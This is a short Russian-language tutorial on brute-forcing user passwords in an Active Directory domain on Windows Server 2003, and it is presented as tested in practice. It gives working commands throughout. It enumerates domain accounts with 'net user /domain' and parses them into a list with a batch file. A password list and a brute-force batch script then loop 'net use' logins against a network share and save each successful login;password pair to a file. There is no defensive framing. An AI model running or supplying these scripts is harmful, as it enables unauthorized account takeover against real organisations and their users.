В этой статье приведу пример брутфорса паролей обычных пользователей в домене, построенном на Active Directory (Windows Server 2003). Весь материал практический и проверен на приведённом примере.
1.Получаем в консоли список пользователей AD :
cmd> net user /domain >> username.txt
3.Сделаем для простоты файл user.txt c именами пользователей в 1 столбик:
1)создадим Bat-файл parser.bat :
@for /f "tokens=1,2,3*" %%i in (username.txt) do (@echo %%i >>user.txt)&(@echo %%j >>user.txt)&(@echo %%k >> user.txt)
2) запускаем и ждём окончания.
4.Создаем файл паролей pass.txt с паролями в 1 столбик по одному,например :
11111111
12345678
5.Создаём Bat-файл brut.bat :
for /f %%i in (user.txt) do for /f %%j in (pass.txt) do (net use r: \\w300\foto %%j /user:****.ru\%%i /persistent:yes)&&(echo %%i;%%j>>success.txt)&&(net use r: /delete)
P.S: r: -временный несуществующий диск
\\w300\foto - любая существующая сетевая папка
****.ru - домен с AD
6. Запускаем brut.bat и ждём
7. По окончанию получен файл success.txt вида логин;пароль :